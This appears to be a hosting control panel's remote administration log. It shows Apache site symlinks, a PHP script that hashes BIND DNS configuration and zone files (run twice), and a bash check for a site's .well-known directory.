link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp607662:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-11-18 16:32:25: Establishing a remote connection
2025-11-18 16:32:30: Establishing a connection
2025-11-18 16:32:30:
PUT: /tmp/pkp436882
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:32:31:
runuser -l bind -s /bin/bash -c '/tmp/pkp436882; rm /tmp/pkp436882'
2025-11-18 16:32:31:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:32:46: Establishing a remote connection
2025-11-18 16:32:47: Establishing a remote connection
2025-11-18 16:32:47:
PUT: /tmp/pkp843970
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-18 16:32:47:
chmod 755 /tmp/pkp843970; /tmp/pkp843970; rm /tmp/pkp843970
2025-11-18 16:32:50: Establishing a connection
2025-11-18 16:32:50: Establishing a connection
2025-11-18 16:32:50:
PUT: /tmp/pkp513614
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:32:50:
runuser -l bind -s /bin/bash -c '/tmp/pkp513614; rm /tmp/pkp513614'
2025-11-18 16:32:50:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
